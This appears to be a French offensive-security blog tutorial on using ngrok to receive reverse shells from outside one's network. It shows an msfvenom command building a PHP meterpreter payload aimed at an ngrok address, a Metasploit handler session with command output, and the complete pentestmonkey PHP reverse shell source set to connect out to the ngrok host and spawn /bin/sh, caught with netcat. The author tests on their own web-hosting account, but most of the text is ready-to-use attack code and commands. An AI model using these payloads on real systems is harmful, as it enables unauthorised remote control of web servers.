Pour exploiter une application en dehors de notre réseau, notamment à l’aide d’un shell, il faut pouvoir créer un tunnel. Ngrock est justement fait pour ça :)
Ngrock vous permet d’accéder à une application en dehors de votre réseau sans avoir a modifier la configuration de votre routeur pour effectuer de la redirection de port.
Ngrock et Metasploit
L’exemple ci dessous montre comment utiliser Ngrock avec Metasploit.
Dans une fenetre:
./ngrok tcp 4444
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Noneofyourbusiness (Plan: Free)
Version 2.3.35
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ngrok.io:13757 -> localhost:4444
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Dans une autre fenetre créer le payload:
root@Host-001:~/Bureau# msfvenom -p php/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13757 R > hack.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1116 bytes
root@Host-001:~/Bureau# mv hack.php testNgrockPhpReverseShell.php
root@Host-001:~/Bureau# mv testNgrockPhpReverseShell.php 000webhost/
Uploader le fichier sur la cible dans mon cas je l’ai mis ici: https://0xss0rz.000webhostapp.com/shells/testNgrockPhpReverseShell.php
lancer Metasploit:
root@Host-001:~/Bureau# msfconsole
[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?
[-] ***
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v5.0.83-dev ]
+ -- --=[ 1995 exploits - 1090 auxiliary - 340 post ]
+ -- --=[ 560 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (38288 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55262) at 2020-04-19 11:35:36 +0200
Du coté de la cible aller à l’emplacement du shell, dans cet exemple: https://0xss0rz.000webhostapp.com/shells/testNgrockPhpReverseShell.php
Et voila on a une session d’établie:
meterpreter > sysinfo
Computer : 77343.us-imm-node3b.000webhost.io
OS : Linux 77343.us-imm-node3b.000webhost.io 3.10.0-957.5.1.el7.x86_64 #1 SMP Fri Feb 1 14:54:57 UTC 2019 i686
Meterpreter : php/linux
meterpreter > ls
Listing: /storage/ssd1/168/13345168/public_html/shells
======================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 5494 fil 2020-04-19 11:07:34 +0200 php-reverse-shell.php
100644/rw-r--r-- 1116 fil 2020-04-19 11:29:36 +0200 testNgrockPhpReverseShell.php
meterpreter > getuid
Server username: (13345168)
meterpreter > cd ..
meterpreter > ls
Listing: /storage/ssd1/168/13345168/public_html
===============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 170 fil 2020-04-19 10:55:10 +0200 .htaccess
100644/rw-r--r-- 446 fil 2020-04-19 11:14:07 +0200 index.html
40755/rwxr-xr-x 70 dir 2020-04-19 11:30:52 +0200 shells
meterpreter >
Reverse shell classique
Avec un reversh-shell classique:
reverse shell:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '0.tcp.ngrok.io'; // CHANGE THIS < --------- adresse donnée par ngrok
$port = 13757; // CHANGE THIS <----------- port donné par ngrok
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Ouvrir netcat sur le port qu’on a choisi lors de l’ouverture de ngrok ici nc -nlvp 4444
Sur la cible se rendre sur le shell: https://0xss0rz.000webhostapp.com/shells/testNgrockPhpReverseShell.php
Et boom connecté:
root@Host-001:~/Bureau/000webhost# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55376
Poursuivez avec : Oneliner Shells
This work is licensed under a Creative Commons Attribution 4.0 International License.